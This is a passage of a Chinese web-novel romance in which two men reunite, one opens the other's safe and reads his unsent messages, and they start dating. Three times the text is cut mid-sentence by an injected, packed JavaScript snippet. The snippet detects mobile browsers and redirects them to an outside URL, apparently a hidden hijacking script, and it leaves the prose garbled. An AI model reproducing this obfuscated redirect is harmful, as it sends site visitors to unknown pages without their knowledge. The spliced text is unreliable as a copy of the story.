;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801147|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为这辈子都只能靠着这些细碎的小事来想念李斯年…… 许之抬起头,就见李斯年一脸满足地往椅背上一靠,大大咧咧拍着肚子。 “今天吃过瘾了!我觉得皮带等下要松两个扣。” 自从二人重逢后,李斯年总是穿正装多,哪怕没有什么正式场合,也是穿的是休闲西装。 但今天碰巧换了件棉质短袖,头发也是没有发蜡造型,就这么松松散散搭在额头上,反而显得有些稚气。 神态动作也都是在亲近之人面前的那种放松、不顾形象的样子,非常生动鲜活。 许之突然觉得那个熟悉的李斯年完全回来了。 “你呢,吃饱了?”李斯年问。 许之:“嗯。” 李斯年伸手捏了捏他的手臂肩膀,“看来你这些年学会照顾自己了啊,以前是真瘦,太瘦了,皮包骨头。” 许之笑:“哪有那么夸张。” “真的!那次在出租车上,我不是环了一下你的腰么。”李斯年说着,圈起双手示意,“才这么细,我两手还能有好多重叠的部分。” 许之记得,是李斯年喝醉、跟他在街上偶遇,第二天还弄丢了手表的那次。 “我当时还以为你是不舒服、想吐。”许之瞟了他一眼,“谁知道你是另有居心。” 李斯年觉得自己在许之眼中的形象逐渐在往色鬼那边靠,赶紧解释:“那时候我还没太闹清楚呢,没想那么多。” 许之听了这话有些疑惑:“你之前不是说,去了酒吧后就搞清楚了?” “严格来说是回到出租屋后……”李斯年话说一半,想到了什么,脸颊被辣红的颜色悄无声息蔓延到耳根。 赶紧话头一转:“我那时候不也喝多了嘛?次日醒了点酒,才琢磨清楚的。” 趁许之没反应过来,又勾起些坏笑,碍着满手红油的手套还没摘,于是用手肘拱了一下对方:“你这么想知道细节啊?求求我,我就告诉你。” “我才不想知道!”许之侧身一躲,拿起手机和车钥匙,“吃好了就回家。” “啊,现在还早呢。”李斯年还没跟许之呆够,这才两个小时不到,“我们可以开去江边走走,看看夜景吧。” “改天再去,你今天早点睡觉,不要熬夜。” 许之站起身,伸手揉了揉李斯年的头,就好像从前他对自己做的那样:“听话。” 李小朋友还是很好哄的,简单一个动作两个字就让他乖乖巧巧跟着人上了车、回到小区门口。 “你要不直接开我车回去吧?”李斯年一边松了安全带,说。 许之了然他的小心思:“想让我下周一来接你上班就直说。” 李斯年从善如流地扭过头来,夹着嗓子:“许之哥哥,下周一来接我好不好?” 许之差点鸡皮疙瘩掉了一地,笑道:“李斯年你要点脸行不?” 李斯年继续夹:“好不好嘛?” “好好好!几点?我周一上午没课。” “我第三节有课。" 那就是九点半之前得到学校。 许之:“我八点半到小区门口等你。” 李斯年灿烂一笑:“谢谢许之哥哥!” 许之忍不住抬手想打人,李斯年快速推开门,灵活地钻了出去, 他小跑几步,又贱兮兮回头说了句:“许之哥哥路上慢点开噢。” 许之将玻璃摇下更多:“你再说一句我就不来接你了!” 李斯年嘿嘿一笑,转身就进了单元门。 许之静静看着门内电梯门开了又关,才重新升上了玻璃。 车内安静无声。 许之表情渐渐冷了下来,他有些疲惫地按了按太阳穴,这几天加班本来就睡得少,今天将近满课,好不容易等到晚饭时间,又发现李斯年惊恐发作。 直到此刻,他脑子里绷紧的那一根神经都无法松懈下来。 李斯年弯着眼角、满脸笑意的样子犹在眼前,许之曾以为自己所做的一切,都是为了能让这颗太阳永远在天上灿烂耀眼。 可如今看来,他好像很多事情都做错了…… 许之垂着头沉思片刻,还是拿起手机,在通讯录翻找出李倾诺的电话,指尖在拨号键迟疑几秒,按了下去。 不出所料,很快听筒那边就传来一声正在通话中的提示音。 许之等了三五分钟,又打了一个,就这样接连四五个电话,大概半小时过去。 他基本可以确定,李倾诺早就把自己的电话拉黑了。 这也不怪她,当初许之故意把话说得那么难听,就是为了叫李倾诺认定自己是冷血无情的小人—— 因为李斯年或许会不信李宇、不信梁芷、不信方行舟、不信任何人,但他一定会信李倾诺。 许之继续翻动着通讯录,直到看到许茜的名字。 拨了过去。 85.牵手 嘟嘟两声,电话很快就接通了。 许茜的声音没有太大改变,只是与从前相比,不再那么明亮了,她声音里满是欣喜,还有明显的小心翼翼:“喂?之之啊?” 许之除去刚出国的那一年,其实已经有七八年没有和许茜通过电话了,更别提见面。 而时隔多年,听到有人叫自己这个小名,他第一反应竟然不是怀念,而是反感。 像是坛臭掉的咸菜毯子被掀开盖布,陈年旧气一下子扑面而来。 他按捺住情绪,应了声:“是我。” “你、你回国了?是什么时候回来的啊?怎么也没告诉妈妈一声,那你现在在哪?以后还留在国内吗?”许茜接连发问,那语气像是过大年似的,感觉人下一秒就要摩拳擦掌包饺子。 许之觉得挺荒诞,为什么大人总是在年轻时对很多事情不屑一顾、但到了中年又幡然醒悟? 曾经无数个除夕年夜,许之都是盼着妈妈回来接自己的,但她那时偏偏一个电话都没有,连消息也是隔了好几天才回。 如今二人之间的情况,也算是风水轮流转了,可许之心里对此毫无快意。 只觉虚无。 他没回答许茜的问题:“我是想问一下,你知不知道六月二十八日,是什么日子?” 许茜愣了会:“什么六月二十八?” 许之心沉沉下坠,虽然一开始他也只是抱着侥幸给许茜打来电话的:“就是……这个日期你以前有印象吗?可能和李宇他们家里有关系?” “李宇?你又不是不知道,你出国那年,妈妈和他就断了。”许茜说完,似乎是怕许之会因此挂了电话,又赶紧问,“你在哪里看到这个日期的?确定和李宇有关么?” 许之不欲多说,只是“嗯”了一声:“你没听过就算了,没事。” 许茜有些急,絮絮叨叨:“我、我现在一时半会是记不得了,李宇和李倾诺生日在年初,李斯年是七月,之前也没听说六月份有什么纪念日……” 李斯年生日许之是知道的,曾经在育德模拟考的准考证号上看到过。 “我也是随口一问。”许之打断道,“我这边还有事,先挂了。” “等、等等!你还没和妈妈说,这次回国待多久呢?你要是忙,妈妈来找你也行,现在国内高铁啊飞机都挺方便的。”许茜说到这里,声音哽了哽,似乎是哭了,“咱们母子一晃都快八年没见面了,从前的事,你就原谅妈妈,好不好?有什么过不去的,我们往前看?” 许之感到头疼,又怕她再长篇大论,只好说:“等忙完,我会联系你。” “好,好好!那我就不打扰你,妈妈等你消息啊。”许茜陪笑着说完,主动挂掉了电话。 许之将手机丢到一旁的座椅上,觉得更疲惫了。 他不是圣人,过去的事无法忘记或释怀,医者难自医,他能做的也只是远离。 可偏偏许茜只要有机会,就极为主动的讨好、示弱。 这何尝不是另一种层面上的霸凌和强迫? 因为其实许茜从来没有真的意识到,自己那些所作所为对许之而言意味着什么,但她觉得只要自己道歉次数足够多,许之就必须得原谅她。 许之长长地叹了口气,觉得自己和许茜之间注定是一团解不开的乱麻,多想无益。 当务之急,还是要先弄清楚李斯年的状况。 六月二十八日,是许之在李斯年办公室日历上看到的画圈日期,距离现在也就两周多的时间,所以他留了个心。 但惊恐障碍发作的诱因实在太多了,不一定是因为这个,甚至很多时候是来自于潜意识,发病的本人都不知道为什么。 不过李斯年所谓“因为出国不适应导致患焦虑和惊恐”这个说法,许之当然是一个字都不信的。 只是当时李斯年很明显在极力掩盖、转移话题,于是许之便顺着他,没有继续追问。 其实在内心深处,许之仍然认为李斯年的病和自己的离开有关,只是他不太确定,这件事的影响是否强劲到足以引起病发。 这些想法尚且没有什么明确证据或理论支撑,纯属许之的直觉。以他对李斯年的了解,和从事心理行业多年的直觉。 不过好在,如今人已经在自己眼前身边了,许之觉得这是不幸中的万幸。 自己还能有机会知道这件事、并做点什么。 许之拿回手机,给李斯年发了两条消息。 许:周末要是想来跟小白玩,随时和我说。 许:晚安。 - 面对许之的主动邀请,李斯年当然积极响应。 周日下午四点多,他就开车去了许之的小区,愉快的占用了小区住户每户限一的亲友暂时停车名额,对保安春光满面的一笑,将车开进了地下车库。 按了好几下门铃,许之才来开门,他一手拎着个装着东西的黑色塑料袋,换了鞋,示意李斯年去拿玄关侧面收纳篮里的环保袋。 “要去哪?”李斯年问。 “我昨天买菜漏了姜蒜和一个配菜,去趟菜市场。”许之说,“或者你在家陪小白玩?我自己去也行。” 李斯年一笑:“那我还是比较想陪你。” 许之已经对李斯年这样脸不红心不跳就能蹦出一些暧昧话语的行为产生了些许免疫,倒是屋内小白像是听懂了什么,三两步窜上猫爬架,发出一声不太满意的叫声。 “乖,给你买虾吃。”许之回头说了句,关上了门。 这个小区的地段很好,属于闹中取静,二人从天桥过了马路,再转个弯,面前就是一个很大的菜场。 不是那种专供中产的精致超市型菜场,而是更类似于管理有序的农贸市场,菜都是散摆在外面,自己拿个篮子装好了给店家称就行。 很有烟火气。 这个点,菜场也还是挺热闹,人来人往,拥挤的感觉让李斯年想起从前在江城,自己放学替郑秀买菜的时候。 想到郑秀,他忽然心里又有些沉。 手腕一紧,随即人就被力道拉着往右边走了两步,一个中年人拖着好几个装鱼的箱子,与李斯年擦肩而过。 “想什么呢,走着路也能发呆。”许之回头看他。 “没。”李斯年抽离出来,只是笑,“好久没来这样的菜市场了。” “里面挺大的,跟紧我。”许之说完,就松开手。 而手还没放下去,又反被握住了。 “我是个路痴,很容易迷路。”李斯年手指稍稍用力,轻易就挤进了许之的指缝之间,让两只手十指相扣着,话说得理直气壮,“还是这样比较好。” 许之第一反应是偏头去看周围的人,好在他们正在一片人多的区域,认识的、不认识的人都挤得挺近,没人发现这里有两个男人手牵着手。 李斯年紧了紧手心,像是知道他在想什么:“怕什么?我们都是成年人了,被看到也无所谓。” 许之无奈的瞧了他一眼:“你啊。” 还是这样天不怕地不怕,总有不同于常人的坦荡。 但这种感觉,怎么说呢……他并不讨厌,甚至可以说有那么点喜欢。 像是勇气被打开了闸门,许之也就任由他这么牵着,去惯常去的摊位买好了菜,又到海鲜区给小白买了几只活蹦乱跳的新鲜虾。 期间给钱找零、选菜提袋子,手都松开过,但只要一放下,李斯年就很自然的又去牵了起来。 每每双手相碰的瞬间,许之心跳都会猛然加快一阵,然后觉得晕晕乎乎的感觉也不错。 就这么简简单单买个菜,倒是买出了些愣头小年轻背着老师家长偷偷出来谈恋爱的刺激感。 回到家,许之开始备菜做饭,李斯年想帮忙,结果被赶去了沙发。 “逗逗猫、看看电视都行。”许之把遥控器和逗猫棒放在他左右手两侧,又去拿扶手上的薄毯,“要是累了,睡一会也行,饭好了我叫你。” 李斯年笑盈盈看向他:“我怎么感觉,你知道我的病史后,对我就格外温柔体贴照顾?早知道这样,我该早点告诉你的。 许之将毯子往他身上一丢,散开的一角正好罩住李斯年的头:“对你好还不行么?话这么多。” 李斯年将毯子扯了下来:“当然行了,只是……以后我病好了,你还是要对我这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801415|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好才行哦。” 许之笑:“不然呢?” 这人有时候说话真跟小孩子一样幼稚。 今天许之打算主菜做土豆牛腩,他先将牛腩肉放高压锅里慢慢炖,然后慢慢准备其他配菜。 其实从人的做饭过程,能看出他的性格,李斯年虽然做饭味道也不错,但一顿饭做完,桌面是一片狼藉的,水池更别说了,各种备菜的大盘子小碟子都能堆满。 但许之完全相反,桌面整齐的像是实验台,用过的厨具都是顺手洗了挂上,备菜盘子方方正正码得整齐。 李斯年没看电视也没逗猫,就靠在沙发上看着他做事有条不紊的背影,都觉得赏心悦目。 不过很快,他的手机铃声就打断了静谧时光。 李斯年看了眼,表情有些意外,但仍然很快接听了:“喂?怎么突然打国际长途来了?” 对面是洪室章有些急迫的声音:“斯年啊,你在忙吗?” “忙啊。”李斯年看了许之一眼。 忙着谈恋爱也算忙。 “真的吗?那你什么时候忙完?”洪室章又问。 看他是真着急,李斯年也就没有继续开玩笑:“什么事,你说吧。” “就是那个,你走时交接的那个研发项目,之前不是跟你说在申请专利了嘛,但今天反馈过来文件里分子式部分有问题,研究室内的人拿不准,你赶紧帮我看看。” “行,发我邮箱吧,我现在就看。”李斯年安慰了句,“别急,应该没有大问题的。” 洪室章松了口气,李斯年的话无论对于他还是整个公司都是定海神针一般的存在:“好,辛苦了啊!” 李斯年笑:“咱们之间还说这,行了,快发吧。” 他挂了电话,抬头就看到许之非常不明显的转过头去,显然之前是在认真听这边的动静。 李斯年站起身,走到他身后,探头去看:“饭还要多久好?” 许之被他过近的声音吓了一跳,身体微微前倾,抵在厨房台面上:“还要一会,茶几柜子里有零食,先垫垫。” 说完,顿了顿,又说:“如果处理邮件要用电脑的话,可以去书房。” “好啊,你偷听我打电话。”李斯年幽幽道。 又在倒打一耙,许之侧过头:“这屋子面积就这么多,你声音也没压低,我听到不是很正常?” “既然听到了,怎么不问是谁?”李斯年刚才都提了是国际长途,最后挂断之前,还故意加重了熟络的语气。 结果许之好像完全不在意似的。 这让他有点不爽。 许之抬手关掉水龙头,然后竟然直接就转过身来。 二人隔得近,肩膀和手臂摩擦相碰得非常实在,他这么一双笑眼微抬看向李斯年,不躲不闪,反而让李斯年心跳得厉害,施压的姿态也松懈几分,往后了半步。 “是你国外公司的合作伙伴吧。”许之挑眉道。 李斯年吃惊道:“你知道?” 他从来没跟许之提过自己公司和专利的那些事。 不是故意隐瞒,只是没找到契机聊,而且李斯年打心眼里觉得那些东西都挺无所谓的,名利或钱财,都不如眼前这个人重要。 “当然了。”许之擦着手,推了他一下,侧身去调了炉灶的火,然后又看回来:“说不定我知道的事,比你以为的多得多。” 见李斯年这样意外和愣住的模样,许之心里有些得意,这人戏弄了他这么多次,这回终于算扳回一城了。 想到这里,许之又忍不住在心里笑了。 自己竟然也会做这么幼稚的事情。 果然幼稚是会传染的啊。 “所以你到底用不用电脑?”许之问。 “用,书房是那间吧?”李斯年抬手指向卧室隔壁。 “嗯,密码是我生日,1999……” “0211。”李斯年接过话头,眨眨眼,“我记得的。” 许之心底一阵发软,但这时候若是让李斯年看出来他被感动,怕是又要得寸进尺了。 于是赶紧转身拿了个土豆开始削皮,只说:“嗯,快去吧。” 86.旧物 许之的电脑是原始壁纸,桌面干干净净,只有工作相关文件的文件夹,整理有序。 心理咨询师的资料是要严格保密的,但许之就这么把密码给他了,甚至没有嘱咐他别乱翻看,说明对李斯年很信任。 李斯年当然也很有分寸,直接打开浏览器,登陆了自己的邮箱。 洪室章的邮件已经发来了,李斯年快速查看了一下,如他所料,分子式的问题不大,估计是公司内研究员害怕担责,觉得来向他求证比较稳妥。 李斯年将文件改好,发回给洪室章,顺便打了行字:这个问题你那边研究员应该有能力解决的,下次有类似情况,先问他们要修改方案,再找我确认就行。 他是公司的核心研究人员,回国后,那边多少有些人心浮动,很正常,借此机会让洪室章在后续工作中对研究员进行验证和筛选也是好事。 洪室章是个聪明人,明白了他的意思,邮件回得很快:晓得了,对了,预祝生日快乐! 他这么一说,李斯年才想起来,快7月了。 既然自己生日快到了,那么…… 李斯年瞟了一眼电脑右下角,今天是六月二十四。 距离那个日子还剩三天。 看来今年自己果然过得足够充实、快乐,竟然这么晚才想起来这件事。 李斯年长长地呼出一口气,在许之家的时间挺宝贵的,他不想浪费哪怕一分一秒在沉重的回忆上。 他关上电脑,起身环顾四周。 这整套房子面积都不大,书房也食小小的,但李斯年很喜欢这种感觉。 过了这么多年,他还是不喜欢空旷的屋子。 除了电脑桌所在的区域,其他三面半墙都是书柜,几乎全是书,李斯年大概扫了几眼,基本是心理学专业书籍、还有自印装订的相关资料和记录。 这么多东西要从国外运回来,也是够累的。 书房门虚掩着,能听到外头传来滴答一声,抽油烟机开启,随之是机器嗡嗡声和菜下油锅的刺啦声。 是家的声音,是能让人的心落到实处的声音。 李斯年又走到另一面书柜前,靠右侧是带了扇玻璃柜门的,他看到玻璃反射出自己的脸。 松弛、轻快,还有不自觉的笑意。 随即,目光落在了玻璃后的那层书架。 什么书和文件都没放,而是一个小型保险柜。 李斯年觉得很新奇,总觉得许之这种不太在意钱财、身外之物的人,家里出现保险柜这种东西有点突兀。 怎样贵重宝贝的东西,要放到这种地方保存? 他忽然觉得自己像是回到了多年前的那天午后、悄悄溜进许之卧室的时候。 好奇胜过了礼貌和道德。 李斯年侧身从门缝往外看,许之正右手拿着锅铲翻动、左手去拿配菜盘,看起来挺忙碌的,应该一时半会注意不到书房的情况。 他抬手缓缓将书房的门给彻底关上,打开玻璃柜门,研究这保险箱要怎么开。 通体黑色的正方形保险箱,是比较基础的款式,正面是四位数的密码锁,下方有一个钥匙孔。 李斯年简单在四周找了找,没发现钥匙,觉得许之很有可能是放在自己钥匙串上随身携带了。 他盯着密码锁看了会,脑子里冒出一个连自己都觉得有点过于不要脸的想法。 但还是抬手按下一串数字:0713。 锁开了,那机械咔哒的一声,像是在李斯年心中撒了把钢珠,他一颗心被撞得七上八下、狂跳不止。 许之是怎么知道自己生日的? 还把保险箱密码也设成这个。 他真这么喜欢我…… 李斯年心里甜滋滋的。 保险箱里没放太多东西,空着大半,最中间是一个手机压着一张折叠起来的纸。 李斯年一眼就认出这是许之高中时用的旧手机,他长按开机键,屏幕很快就亮起开机画面。 旧手机的开机都挺慢,李斯年等的过程里,又拿出那张纸来。 一展开,他就愣住了。 上面密密麻麻的字李斯年很熟悉,是他的字迹—— 这是当时二人跟李宇、许茜闹翻之后,因为要开始赚钱存押一付三的房租,李斯年专门列的账单。 当时就贴在出租屋里,书桌对面的那面墙上。 而那些琐碎的旧事,在此刻就这样轻而易举的被这账单上的字句给唤醒,在李斯年眼前一幕幕回放。 当时他们总会去小卖部买的小布丁,那个牌子现在还没倒闭,依然是随处可见,只是价格已经涨到了三块。 三块钱,对现在的李斯年和许之来说不足一提。 但当年,二人却会为七毛涨到一块而在账单上专门备注一句话。 多么奇妙。 当年李斯年苏醒后,跑去出租屋找许之的夜里,只记得门口收纳箱里堆满了他们的用品。 他当时满心绝望和悲愤,没心思、也没精力一一核对,只当是许之走得绝情,把这些视为垃圾,不屑带走,连退租都是打个电话了事。 但原来,他是回去过的。 带走了小白,还有这账单。 手机屏幕再次亮起,李斯年轻轻将账单折回原样,然后拿起手机。 手机竟然接近满格电,而且操作都还算顺滑灵敏。 看来许之会定期给手机充电,小心维护着。 手机倒是没有设置密码,连app也全都清空了,大概是担心内存占用过多而导致卡顿。 主屏幕上只放着相册和短信两个图标,李斯年先点开相册,里面只有一张照片——就是二人去墓园给郑秀扫墓那天,许之拍得李斯年的背影。 虽然在李斯年意料之内,但时隔多年再次看到这张照片,心中仍然有些澎湃。 他拿出自己的手机拍了一张,然后又打开短信。 收信箱显示为1,李斯年点开一看,是一串未存姓名的号码。 他认识这号码,是李宇—— “李斯年已经醒了,恢复良好,我信守诺言,希望你也是。” 李斯年做了几个深呼吸,无意识地搓了搓有些颤抖的指尖,如他所猜,当年李宇果然是要逼走许之,二人估计达成了某些协议。 想想就知道,协议内容无非就是让许之今后再也别出现在自己面前、也不能告知离开的原因,相对应的,如果自己醒来了,李宇会给许之个消息,好叫他安心。 发信箱是被清空了,不过李斯年觉得,以许之的性格,恐怕也不会回复李宇这条短信。 他继续往下划,发现草稿箱里竟然有未发送的短信。 数量还不少。 2017年1月28日:新年好。 2017年7月13日:生日快乐,平安顺遂。 往后的每年过年和7月13号,都是一样的内容。 但哪怕是一样内容,也要准时、逐字逐句打一遍。 没有主语,但李斯年知道是对谁说。 除此之外,其他时间还偶尔有些别的。 2019年8月3日:今天看到萤火虫了,光是绿色的。 2021年1月12日:第一次在这边遇到下雪。 2023年5月7日:。 2024年3月37日:。 2024年10月3日:时间好像过得又快又慢。 2025年4月5日:。 2025年6月22日:。 2025年12月8日:决定回去了。 2026年3月5日:。 李斯年起先还不太明白,偶尔出现的、只有一个句号是什么意思。 直到翻到最后一条。 2026年5月2日:李斯年 或许是说不清道不明的默契释然,李斯年瞬间懂了—— 这是许之按捺着的、不愿诉诸的思念。 他大概是一年又一年地忍着,就算在这绝不会被人看到的旧手机草稿箱内,也不想放任情愫翻涌。 或许是因为有些东西,像流水,那闸门若是松动哪怕分毫,也会全部倾泻而出、彻底失控。 就像李斯年这么些年来,不敢去想许之二字、甚至连姓许的同学都不愿来往一样。 许之恐怕也是这样回避着的吧? 而又是积累到了怎样难以承受的程度,才会终于打出了他的名字? 厨房那边是什么时候安静的,李斯年没有注意到,哪怕是书房门被拧开时,他反应都慢了半拍,没来得及将手机塞回保险箱。 许之看到打开的保险箱,怔了怔,随即从李斯年手里抽出那个旧手机。 他耳尖有些泛红,硬邦邦地责问道:“你怎么还是和以前一样,喜欢乱翻别人的东西?” 李斯年清了清嗓子,将喉头的酸涩和哽咽都咽了回去,老老实实道歉:“对不起……我就是,有点好奇。” 以前是好奇,现在也是好奇,关于许之的事情,他全部都想要知道。 许之没吭声,只是把东西回归原位,然后关上门。 李斯年干笑了一声,没话找话道。“那、那张照片原来你还留着啊,都过去这么久了,时间真是一晃就过去了,是吧。” 许之瞥了他一眼:“你以前就知道那张照片。” 李斯年没反应过来:“什么?” 许之彻底转过身来,目光深沉得仿佛能将李斯年看透,咄咄逼人道:“你刚说得意思,是早就看过这张照片了,是什么时候?” 李斯年暗暗咬了咬舌尖,恼自己话不过脑子,坑上加坑,但这种时候最好还是坦白,若是顾左右而言他,许之恐怕会更生气。 “真的纯属意外!”李斯年解释道,“是之前有次我们和方行舟一起打球,还记得么?打完球,拿你的手机点的外卖,在退后台时无意间看到的。” 他顿了顿,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,那次想跳楼也是因为情绪突然上头,钻了牛角尖。”说着,看了眼时间,起身去给小白热猫饭。 通常而言,关于来访者的情况,他是不会向外透露的,但李斯年毕竟也算是介入了赵毅的事情。 况且现在看来,他那句“我也是同性恋”,终究是起到了积极作用,让赵毅正视道这样的事情原来可能发生在身边每一个人身上。 许之没有详说过程,告知了结果:“他现在已经基本接受自己的性取向、以及被拒绝这件事。” “挺好的。”李斯年感叹了句:“毕竟喜欢一个人,从来都不是错事,只可惜不是人人都能求有所得。” 许之正打开微波炉准备拿猫饭,听着李斯年说这话,不知在想什么,手直直地就伸了进去,随即猛然一缩,嘴里轻声倒吸了口气。 “烫到了?”李斯年赶紧上前,抓着他的手腕仔细查看,还好指尖只是被烫红了些而已,“怎么不带手套就拿?” “没事,就碰了一下。”许之说。 “厨房里的东西,操作时都小心些,我来吧你歇着。”李斯年说完,自己拿了手套,将猫饭取出放在桌上:“营养剂放哪了?” “就那个白色瓷罐。”许之说。 李斯年先用勺子将猫饭搅散,好一会,待热气挥发些许后,才撒上营养剂。 许之还记得,以前在出租屋时,李斯年专门叮嘱他,营养剂最好别接触太热、太冰的东西,所以一定要等猫饭回温再加。 他对任何人和事都很温柔、专注,并不会因为小猫不会说话、不会抗议,所以就偷懒敷衍。 “对了,你有定期带小白去体检吗?”李斯年忽然想起来,说:“小时候可以隔年一次,但现在年纪大了,最好还是每年都去,如果今年还没的话,等暑假我们可以一起带她去。” “李斯年……”许之嘴唇动了动。 “嗯?”李斯年侧过头,看许之还站在原地,于是搁下勺子,又走过来看他的手,“还是疼吗?要不要去冲冲凉水。” 许之摇摇头,他垂着眼,目光落在李斯年放在自己腕上的手,似乎是怕他痛,所以是托举着的状态,避免碰到他的手指。 从这个角度,许之手心的旧伤疤若隐若现,李斯年也看到了,轻叹了句:“可惜,还是留疤了。” “划得深,难免的,这样已经很好了。”若当时按照他自己那种毛巾包扎法,恐怕疤痕会更难看。 李斯年表情却没因此松快几分,越想越自责:“当时还是该去医院缝几针……” “我想好了。”许之快速说出几个字。 “这样或许能恢复得好些,什么?” 许之抬起头,看向李斯年的眼睛,平静而笃定:“我们试试吧。” 87.进展 幸福来得太突然,李斯年罕见地原地楞了十几秒:“你、你再说一次?” 许之眼角勾着极淡的笑意,故意抽出手:“没听清就算了。” 转身要走。 李斯年跟上前,拽着他的胳膊,轻易就将人揽进了怀里,虚虚地搂着,脸上是难以掩饰的高兴:“你答应跟我谈恋爱了?” 谈恋爱。 这个词无论是说出口还是听入耳都充斥着青春洋溢的气息。 成年人的世界,大家更多说得是相亲、处对象。 许之觉得脸有点发热,但他不想再躲了,直截了当的点了头:“嗯。” 下一秒,他突然双脚腾空,整个人被李斯年抱了起来,眼前一花,就这么被抱着原地转了好几圈。 小白三两步蹦上猫爬架顶端,一脸疑惑不解地看着二人。 “李斯年!你今年几岁啊?”许之为了保持平衡,只能伸手揽着李斯年的脖子,整个脸埋到他颈边,才不至于飞出去,“差不多了,要晕了!” 耳边是李斯年肆意爽朗的笑声,他又转了几圈才停,二人都踉跄了几步,顺势倒在了沙发上。 李斯年呼吸有些急,不知道是累得、还是兴奋得,捧着许之的脸,一双眼睛黑黑亮亮看着他,笑意都快溢出来了。 许之心中有些羞赧,但还是迎上了他热烈的目光。 “我好高兴。”李斯年说。 “嗯。” “这是我这辈子最高兴的一天!” 许之忍不住一笑:“有这么夸张吗?” 李斯年点头:“真的,你不知道我等这天等了多久。” “八年多。”许之顿了顿,脸又红了几分,声音也轻轻的,“我也是……” 李斯年眸光闪了闪,突然语出惊人道:“那我今天可以住你家吗?” 许之瞪大了眼:“不行!” “为什么?” 许之结结巴巴一阵:“发展速度也有点太快了……” “可是小白都能睡你的床。” “这两码事。” “以前出租屋又不是没睡过一张床?” 许之又气又好笑,“那不一样!” “怎么不一样。”李斯年十分理直气壮,“那时候也是我喜欢你、你喜欢我啊。” 左一句喜欢、有一句喜欢,喜欢两个字被他说得像是气球在屋子里满天飞,许之心跳越来越快:“你、你能不能矜持点?” “这跟矜持有什么关系,只是住一块儿,就当合租,我又不会逼着你做什么。”李斯年狡黠一笑,“你自己说,我是不是一直都很尊重你?” 这倒是,许之无法反驳。 虽然李斯年一直都很主动,但在关键节点上,他永远还是将主动权交到了自己手里。 李斯年还在自顾自的往后说:“对了,你这个房子是买的还是租的?如果是租的,你搬我那儿去也行,面积也不算大,两人一猫勉强够用,你如果想更宽敞点,咱们可以再置换……” 许之挣脱了他的手,往后挪了挪,努力让语气听起来严肃些:“我还没同意呢,你到底听不听人讲话了?” 李斯年眨眨眼,有点丧气、又有点委屈:“可是我想你。” “我晚上常常失眠,睡不好第二天就没精神,时间久了还容易惊恐发作。” 李斯年这话有八成真,剩下两成他没说,那就是只要吃安眠药的话,还是能勉强维持状态,发病也就不会那么频繁。 许之自然不会被轻易蒙了去,他话头一转 :“那你上次还说,你的病和我没关系?” 李斯年没有直接回答,而是凑近过来,伸手环抱住许之的腰,然后脸在他胸前撒娇一样蹭了蹭。 “和你没关系,但也不妨碍你是解药。” 这人真是,顾左右而言他的耍赖本事一流。 许之虽然无奈,但更多的还是心疼和担忧,让步道:“那这样,每周二四六,我去你那儿?” 李斯年想了想:“还是我来找你吧,小白每天要铲屎喂粮的,这样方便些。” 许之没想太多,觉得他这话有道理:“也行。” “一三五七吧。”李斯年声音闷闷软软,但不妨碍说的话在得寸进尺。 这段时间的周六和周日,如果不是有工作要忙,二人基本都会见面的,所以这么算来,其实一周七天已经占了五天。 许之垂眼,目光在李斯年蹭乱刘海下那条隐约可见的疤痕上停留片刻,终于点了头。 “好。” 李斯年抬起毛茸茸的脑袋,一副小孩子要到糖吃的得逞笑容,他盯着许之看了一会,目光从眼睛顺着鼻梁到嘴唇。 “我想亲你。”李斯年小声说,“可以吗?” 这时候又变得很礼貌了,许之忍不住笑了笑:“如果我说不可以,你会听吗?” 李斯年想了几秒,仍然固执道:“可是我想。” 想就想吧,又不是什么摘星星摘月亮那样奢侈的愿望,他从来害怕的只是自己给的不是李斯年想要的。 许之捧起李斯年的脸,唇主动贴了上去。 李斯年呼吸微滞。 许之的嘴唇偏凉,通常冰凉的事物总是坚硬,但此刻李斯年感受到的却是如云朵一般的柔软。 许之明显是紧张,吻得非常轻,若即若离、毫无章法,唇瓣还微微颤抖着,但他难得这样主动,李斯年于是忍耐着心中的躁意,就这么静静被他亲吻着。 就这么亲来亲去好一会,许之始终没能将李斯年的舌勾出来,呼吸间的气声都带着些较劲。 鼻息萦绕间,李斯年终于逗够了人,稍稍调整了姿势,伸手去揽他。 许之像是浑身没骨头似的,软得很,几乎是扑到了李斯年怀里,终于睁开一双小鹿一样湿漉漉的眼睛,看向他。 李斯年觉得自己定力真的有点过强了,换做别人,看到许之这样,不立刻把人吃干抹净才怪。 而他只是贴着唇,轻声问:“你到底会不会亲啊……” 许之睫毛微微颤了下,眼神里难得有些迷茫:“不、不对吗?” 看来学霸也有不擅长的东西,李斯年笑叹一声:“对的,但是不够。” 说完,就倾身而下,顺势将许之推躺在沙发,压着他的手腕抬到了头顶。 许之眼前一暗,李斯年再次吻了上来。 这次和在医院不一样,此刻李斯年心里那股劲儿过了头,动作上反而放得更加轻缓温柔。 